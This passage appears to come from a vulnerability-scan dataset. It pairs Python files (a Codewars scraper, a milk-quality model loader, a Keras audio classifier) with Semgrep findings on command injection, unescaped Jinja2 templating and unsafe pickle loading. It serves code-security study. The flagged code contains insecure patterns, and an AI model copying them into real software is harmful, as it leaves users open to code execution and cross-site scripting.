Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
15
true
[ "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true", "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true", "rules.python.lang.security.audit.dangerous-subprocess-use...
[ "security", "security", "security", "security", "security", "security" ]
[ "LOW", "MEDIUM", "LOW", "MEDIUM", "LOW", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH" ]
[ 195, 195, 203, 203, 209, 209 ]
[ 196, 195, 204, 203, 210, 209 ]
[ 9, 37, 13, 41, 13, 41 ]
[ 73, 41, 77, 45, 77, 45 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Found 'subprocess' functi...
[ 7.5, 7.5, 7.5, 7.5, 7.5, 7.5 ]
[ "LOW", "HIGH", "LOW", "HIGH", "LOW", "HIGH" ]
[ "HIGH", "LOW", "HIGH", "LOW", "HIGH", "LOW" ]
shell.py
/agent/bot/lib/shell.py
sgrimaldi93/Loki
MIT
2024-11-18T20:23:14.432119+00:00
1,630,690,568,000
e85930298df64db0365a44b5f6f467305817d977
3
{ "blob_id": "e85930298df64db0365a44b5f6f467305817d977", "branch_name": "refs/heads/main", "committer_date": 1630690568000, "content_id": "d65f821de71c27f036f7488addddfb4cf2cfe173", "detected_licenses": [ "MIT" ], "directory_id": "c623e570724c575d97559bc259b9f87a1ba8fadf", "extension": "py", "filename": "main.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 373977013, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4416, "license": "MIT", "license_type": "permissive", "path": "/main.py", "provenance": "stack-edu-0054.json.gz:587609", "repo_name": "ckarakoc/codewars", "revision_date": 1630690568000, "revision_id": "2b1fce935f59d73a6d8309b98ca2c3b310623fe4", "snapshot_id": "9899b4fec9d4502a7ac1c268b39a72de0fa67f7d", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/ckarakoc/codewars/2b1fce935f59d73a6d8309b98ca2c3b310623fe4/main.py", "visit_date": "2023-07-21T19:49:38.622047" }
2.8125
stackv2
from collections import Counter import argparse, json, os, time, re from bs4 import BeautifulSoup from selenium import webdriver from jinja2 import Environment, FileSystemLoader from utility import ext, setup_logger, login, update_table_json import config if __name__ == '__main__': logger = setup_logger() driver = None parser = argparse.ArgumentParser() parser.add_argument('--url', help='The codewars url: https://www.codewars.com/kata/<some hash>/train/<some programming language>') parser.add_argument('--driver', help='driver type (i.e. geckodriver (Firefox) | chromedriver (Chrome))', default='geckodriver') parser.add_argument('--headless', action='store_true') args = parser.parse_args() driver_type = args.driver url = str(args.url) try: # Setup Selenium Driver driver_type = driver_type if os.path.isfile(f'./drivers/{driver_type}.exe') else '' if driver_type == 'chromedriver': logger.info('Chrome chosen') options = webdriver.ChromeOptions() options.headless = args.headless driver = webdriver.Chrome(executable_path='./drivers/chromedriver.exe', options=options) elif driver_type == 'geckodriver': logger.info('Firefox chosen') options = webdriver.FirefoxOptions() options.headless = args.headless driver = webdriver.Firefox(executable_path='./drivers/geckodriver.exe', options=options, service_log_path='./logs/geckodriver.log') else: logger.error(f'unknown driver_type: {driver_type}') raise Exception('You should either download geckodriver or chromedriver and put in in the ./drivers folder.') driver.set_page_load_timeout(30) # Setup Jinja2 Template Engine fileloader = FileSystemLoader('./assets/templates') env = Environment(loader=fileloader) # Get the pages login(driver) driver.get(url) time.sleep(3) soup = BeautifulSoup(driver.page_source, 'html.parser') soup_game_title = soup.find('div', {'class': 'game-title'}) proglang = url.split('?')[0].rsplit('/')[-1].lower() kyu = '_'.join(re.sub('[^0-9a-zA-Z ]+', '', soup_game_title.find('div', {'class': 'small-hex'}).text.lower()).split()[::-1]) ex = '_'.join(re.sub('[^0-9a-zA-Z ]+', '', soup_game_title.find('h4').text.lower()).split()) title = soup_game_title.find('h4').text description = soup.find(id='description') description.attrs.clear() for hidden in description.find_all(style=re.compile(r'display:\s*none')): hidden.decompose() solution = soup.find('li', {'data-tab': 'solutions'}).find_all('pre', {'lang': proglang})[-1] solution.attrs.clear() path = f'kata/{proglang}/{kyu}/{ex}/' os.makedirs(os.path.dirname(path), exist_ok=True) # Make the HTML page _html = env.get_template('template.html').render( title=title, url=url, description=description, solution=solution ) with open(f'{path}solution.html', 'w', encoding='utf-8') as out: out.write(str(_html)) # Make the solution with open(f'{path}solution{ext(proglang)[0]}', 'w', encoding='utf-8') as out: out.write(str(solution.text)) # Make the Markdown page _markdown = f'# [{title}]({url})\n## Description\n{description}\n<details><summary>Solution</summary>{solution.prettify()}</details>' with open(f'{path}README.md', 'w', encoding='utf-8') as out: out.write(str(_markdown)) # Make the index.html page entry = { 'title': str(title), 'lang': str(proglang).capitalize(), 'ext': str(ext(proglang)[0])[1:], 'kyu': str(re.sub('[^0-9]+', '', kyu)), 'solution': f'{getattr(config, "GITHUB_PAGES_URL")}/codewars/{path}solution.html', 'repo': f'{getattr(config, "GITHUB_REPO_URL")}/codewars/tree/main/{path}', 'kata': str(url) } update_table_json(entry) with open('assets/json/table.json') as table: table_data = json.load(table) stats = { 'kata': len(table_data), 'kyu': Counter(table_data[i]['kyu'] for i in range(len(table_data))), 'lang': Counter(table_data[i]['lang'] for i in range(len(table_data))) } index_html = env.get_template('home.html').render( title=f'{getattr(config, "HOME_PAGE_TITLE")}', table=table_data, stats=stats, ) with open(f'index.html', 'w', encoding='utf-8') as out: out.write(str(index_html)) finally: if driver is not None: logger.info('Quiting driver') driver.quit() logger.info('Program exited')
123
33.9
135
23
1,162
python
[{"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_607038877b907ecc_dd238424", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 43, "line_end": 43, "column_start": 9, "column_end": 39, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmp10dxl77l/607038877b907ecc.py", "start": {"line": 43, "col": 9, "offset": 1698}, "end": {"line": 43, "col": 39, "offset": 1728}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.jinja2.security.audit.missing-autoescape-disabled_607038877b907ecc_e9c26763", "tool_name": "semgrep", "rule_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "remediation": "Environment(loader=fileloader, autoescape=True)", "location": {"file_path": "unknown", "line_start": 43, "line_end": 43, "column_start": 9, "column_end": 39, "code_snippet": "requires login"}, "cwe_id": "CWE-116: Improper Encoding or Escaping of Output", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "path": "/tmp/tmp10dxl77l/607038877b907ecc.py", "start": {"line": 43, "col": 9, "offset": 1698}, "end": {"line": 43, "col": 39, "offset": 1728}, "extra": {"message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "fix": "Environment(loader=fileloader, autoescape=True)", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b701_jinja2_autoescape_false.html", "cwe": ["CWE-116: Improper Encoding or Escaping of Output"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["jinja2"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_607038877b907ecc_c756b30d", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 48, "line_end": 48, "column_start": 3, "column_end": 16, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/607038877b907ecc.py", "start": {"line": 48, "col": 3, "offset": 1784}, "end": {"line": 48, "col": 16, "offset": 1797}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_607038877b907ecc_bdec7fa3", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 101, "line_end": 101, "column_start": 8, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/607038877b907ecc.py", "start": {"line": 101, "col": 8, "offset": 3675}, "end": {"line": 101, "col": 38, "offset": 3705}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-79", "CWE-116" ]
[ "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "rules.python.jinja2.security.audit.missing-autoescape-disabled" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "MEDIUM", "MEDIUM" ]
[ 43, 43 ]
[ 43, 43 ]
[ 9, 9 ]
[ 39, 39 ]
[ "A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection" ]
[ "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "Detected a Jinja2 environment witho...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
main.py
/main.py
ckarakoc/codewars
MIT
2024-11-18T20:23:15.480839+00:00
1,557,420,525,000
7a064cbc4b5f1a33efafa13b1561b637c76cc89a
3
{ "blob_id": "7a064cbc4b5f1a33efafa13b1561b637c76cc89a", "branch_name": "refs/heads/master", "committer_date": 1557420525000, "content_id": "89ff2993fabc55ef1d6e4dea0c06c7744f2a7b12", "detected_licenses": [ "MIT" ], "directory_id": "8ba5733c9236b18a9bb1abbf15121deaa51bee7e", "extension": "py", "filename": "model_prediction.py", "fork_events_count": 0, "gha_created_at": 1556143570000, "gha_event_created_at": 1556746086000, "gha_language": "Jupyter Notebook", "gha_license_id": "MIT", "github_id": 183313391, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1429, "license": "MIT", "license_type": "permissive", "path": "/models/model_prediction.py", "provenance": "stack-edu-0054.json.gz:587620", "repo_name": "CiciMa/python-docs-hello-world", "revision_date": 1557420525000, "revision_id": "5ce8fc6e0e639eea485bd9770f54af933a3139cd", "snapshot_id": "21829c8133eba39daa85fae3c798bb554b08b3d0", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/CiciMa/python-docs-hello-world/5ce8fc6e0e639eea485bd9770f54af933a3139cd/models/model_prediction.py", "visit_date": "2020-05-16T21:43:58.958983" }
2.734375
stackv2
import pickle import json import math import os #returns None if no models exist for cow_id; otherwise return a tuple of length-4 #the tuple represents the predicted (yield, fat, protein, lactose) respectively def GetModelAndPredict(cow_id, temperature, humidity): #see if there are models existing for cow_id # print(sys) path = str(os.getcwd()) # print(path) # print("--end---") with open(path + "/models/model_meta.txt", 'r' ,encoding='utf-8') as meta_file: data_limit = json.load(meta_file)['data_limit'] print(data_limit) with open(path + "/models/model_stats.txt", 'r' ,encoding='utf-8') as stats_file: data_stats = json.load(stats_file) if str(cow_id) not in data_stats or data_stats[str(cow_id)] < data_limit: return None else: minimum = math.floor(data_stats[str(cow_id)] / 5) * 5 #if there are models for cow_id, return predicted result thi = 0.8*temperature + 0.01*humidity*(temperature-14.4) + 46.4 fields = ['fat','protein','lactose'] results = [] filename = path + "/models/models/"+str(minimum)+"/"+str(cow_id)+".pkl" with open(filename, 'rb') as model_file: for field in fields: loaded_model = pickle.load(model_file) results.append(loaded_model.predict([[temperature,humidity, thi]])[0]) return tuple(results) # print(GetModelAndPredict(4400, 10, 53))
36
38.72
85
16
383
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ebd82a17659f8faa_7f144222", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 32, "line_end": 32, "column_start": 28, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/ebd82a17659f8faa.py", "start": {"line": 32, "col": 28, "offset": 1254}, "end": {"line": 32, "col": 51, "offset": 1277}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 32 ]
[ 32 ]
[ 28 ]
[ 51 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
model_prediction.py
/models/model_prediction.py
CiciMa/python-docs-hello-world
MIT
2024-11-18T20:23:16.091901+00:00
1,583,925,056,000
7dcd8e909ac9730ebe5359bf481f37a367327c39
2
{ "blob_id": "7dcd8e909ac9730ebe5359bf481f37a367327c39", "branch_name": "refs/heads/master", "committer_date": 1583925056000, "content_id": "50c419d533c9e0b103ab65ecde3c323608197392", "detected_licenses": [ "MIT" ], "directory_id": "fc54d66301568974ec6c8a2a93bbb6e1d0a10492", "extension": "py", "filename": "model.py", "fork_events_count": 0, "gha_created_at": 1576692167000, "gha_event_created_at": 1576692168000, "gha_language": null, "gha_license_id": "MIT", "github_id": 228895185, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5256, "license": "MIT", "license_type": "permissive", "path": "/model.py", "provenance": "stack-edu-0054.json.gz:587627", "repo_name": "swirkes/Audio-Classification", "revision_date": 1583925056000, "revision_id": "ecbedd70ff642c8894cf30323c924dd9c319623d", "snapshot_id": "0b57c209e28c466c496ee36ecf725f516f0f5487", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/swirkes/Audio-Classification/ecbedd70ff642c8894cf30323c924dd9c319623d/model.py", "visit_date": "2020-11-25T23:52:57.624040" }
2.3125
stackv2
import os from scipy.io import wavfile import pandas as pd import matplotlib.pyplot as plt import numpy as np from keras.layers import Conv2D, MaxPool2D, Flatten, LSTM from keras.layers import Dropout, Dense, TimeDistributed from keras.models import Sequential from keras.utils import to_categorical from sklearn.utils.class_weight import compute_class_weight from tqdm import tqdm from python_speech_features import mfcc import pickle from keras.callbacks import ModelCheckpoint from cfg import Config def check_data(): if os.path.isfile(config.p_path): print('Loading existing data for {} model'.format(config.mode)) with open(config.p_path, 'rb') as handle: tmp = pickle.load(handle) return tmp else: return None def build_rand_feat(): tmp = check_data() if tmp: return tmp.data[0], tmp.data[1] X = [] y = [] _min, _max = float('inf'), -float('inf') for _ in tqdm(range(n_samples)): rand_class = np.random.choice(class_dist.index, p=prob_dist) file = np.random.choice(df[df.label==rand_class].index) rate, wav = wavfile.read('clean/'+file) label = df.at[file, 'label'] rand_index = np.random.randint(0, wav.shape[0]-config.step) sample = wav[rand_index:rand_index+config.step] X_sample = mfcc(sample, rate, numcep=config.nfeat, nfilt=config.nfilt, nfft=config.nfft).T _min = min(np.amin(X_sample), _min) _max = max(np.amax(X_sample), _max) X.append(X_sample if config.mode == 'conv' else X_sample.T) y.append(classes.index(label)) config.min = _min config.max = _max X, y = np.array(X), np.array(y) X = (X - _min) / (_max - _min) if config.mode == 'conv': X = X.reshape(X.shape[0], X.shape[1], X.shape[2], 1) elif config.mode == 'time': X = X.reshape(X.shape[0], X.shape[1], X.shape[2]) y = to_categorical(y, num_classes=10) config.data = (X, y) with open(config.p_path, 'wb') as handle: pickle.dump(config, handle, protocol=2) return X, y def get_recurrent_model(): #shape of data for RNN is (n, time, feat) model = Sequential() model.add(LSTM(128, return_sequences=True, input_shape=input_shape)) model.add(LSTM(128, return_sequences=True)) model.add(Dropout(0.5)) model.add(TimeDistributed(Dense(64, activation='relu'))) model.add(TimeDistributed(Dense(32, activation='relu'))) model.add(TimeDistributed(Dense(16, activation='relu'))) model.add(TimeDistributed(Dense(8, activation='relu'))) model.add(Flatten()) model.add(Dense(10, activation='softmax')) model.summary() model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['acc']) return model def get_conv_model(): model = Sequential() model.add(Conv2D(16, (3, 3), activation='relu', strides=(1, 1), padding='same', input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', strides=(1, 1), padding='same')) model.add(Conv2D(64, (3, 3), activation='relu', strides=(1, 1), padding='same')) model.add(Conv2D(128, (3, 3), activation='relu', strides=(1, 1), padding='same')) model.add(MaxPool2D((2,2))) model.add(Dropout(0.5)) model.add(Flatten()) model.add(Dense(128, activation='relu')) model.add(Dense(64, activation='relu')) model.add(Dense(10, activation='softmax')) model.summary() model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['acc']) return model df = pd.read_csv('instruments.csv') df.set_index('fname', inplace=True) for f in df.index: rate, signal = wavfile.read('clean/'+f) df.at[f, 'length'] = signal.shape[0]/rate classes = list(np.unique(df.label)) class_dist = df.groupby(['label'])['length'].mean() n_samples = 2 * int(df['length'].sum()/0.1) prob_dist = class_dist / class_dist.sum() choices = np.random.choice(class_dist.index, p=prob_dist) fig, ax = plt.subplots() ax.set_title('Class Distribution', y=1.08) ax.pie(class_dist, labels=class_dist.index, autopct='%1.1f%%', shadow=False, startangle=90) ax.axis('equal') plt.show() config = Config(mode='conv') if config.mode == 'conv': X, y = build_rand_feat() y_flat = np.argmax(y, axis=1) input_shape = (X.shape[1], X.shape[2], 1) model = get_conv_model() elif config.mode == 'time': X, y = build_rand_feat() y_flat = np.argmax(y, axis=1) input_shape = (X.shape[1], X.shape[2]) model = get_recurrent_model() class_weight = compute_class_weight('balanced', np.unique(y_flat), y_flat) checkpoint = ModelCheckpoint(config.model_path, monitor='val_acc', verbose=1, mode = 'max', save_best_only=True, save_weights_only=False, period=1) model.fit(X, y, epochs=10, batch_size=32, shuffle=True, validation_split=0.1, callbacks=[checkpoint]) model.save(config.model_path)
163
31.25
91
14
1,352
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_9c2379927254ab85_0b2b4a0d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 21, "line_end": 21, "column_start": 19, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/9c2379927254ab85.py", "start": {"line": 21, "col": 19, "offset": 700}, "end": {"line": 21, "col": 38, "offset": 719}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_9c2379927254ab85_11b07a55", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 58, "line_end": 58, "column_start": 9, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/9c2379927254ab85.py", "start": {"line": 58, "col": 9, "offset": 2058}, "end": {"line": 58, "col": 48, "offset": 2097}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 21, 58 ]
[ 21, 58 ]
[ 19, 9 ]
[ 38, 48 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
model.py
/model.py
swirkes/Audio-Classification
MIT
2024-11-18T20:23:16.605833+00:00
1,593,438,214,000
157f1b8352de4de91585c036bb91b62df02e1b79
3
{ "blob_id": "157f1b8352de4de91585c036bb91b62df02e1b79", "branch_name": "refs/heads/master", "committer_date": 1593438214000, "content_id": "6393b820a9a28f47655ae71386b9c0eb8a16f72f", "detected_licenses": [ "MIT" ], "directory_id": "c001052851376d3aaf84db8cfe495353077f5cf3", "extension": "py", "filename": "Malaria_detection.py", "fork_events_count": 0, "gha_created_at": 1597258489000, "gha_event_created_at": 1597258489000, "gha_language": null, "gha_license_id": null, "github_id": 287092502, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1210, "license": "MIT", "license_type": "permissive", "path": "/app/malariaDetection/Malaria_detection.py", "provenance": "stack-edu-0054.json.gz:587631", "repo_name": "arc-arnob/mlModelFlask", "revision_date": 1593438214000, "revision_id": "52ffd373071a75784ea6689e1a6bf55ce04997bd", "snapshot_id": "21227f8dc89dc5242f87582ff9d996538f889a73", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/arc-arnob/mlModelFlask/52ffd373071a75784ea6689e1a6bf55ce04997bd/app/malariaDetection/Malaria_detection.py", "visit_date": "2022-11-10T14:52:42.564600" }
2.6875
stackv2
